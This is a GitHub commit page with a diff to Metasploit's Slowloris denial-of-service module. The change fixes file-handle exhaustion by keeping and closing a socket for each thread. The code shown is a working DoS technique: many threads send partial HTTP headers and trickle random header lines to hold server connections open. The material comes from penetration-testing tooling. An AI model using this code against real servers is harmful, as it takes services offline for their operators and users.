Skip to content

Commit e07fe77

Browse files
committed
Close sockets to resolve file handle error
1 parent 52f5652 commit e07fe77

File tree

1 file changed

+4
-3
lines changed

1 file changed

+4
-3
lines changed

modules/auxiliary/dos/http/slow_loris.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -60,13 +60,14 @@ def run
6060
1.upto(thread_count) do |i|
6161
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
6262
begin
63-
connect()
64-
sock.puts(header)
63+
current_sock = connect(global=false)
64+
current_sock.puts(header)
6565
headers.times do
6666
data = "X-a-#{rand(0..1000)}: b\r\n"
67-
sock.puts(data)
67+
current_sock.puts(data)
6868
sleep rand(1..timeout)
6969
end
70+
disconnect(nsock=current_sock)
7071
end
7172
end
7273
end

0 commit comments

Comments
 (0)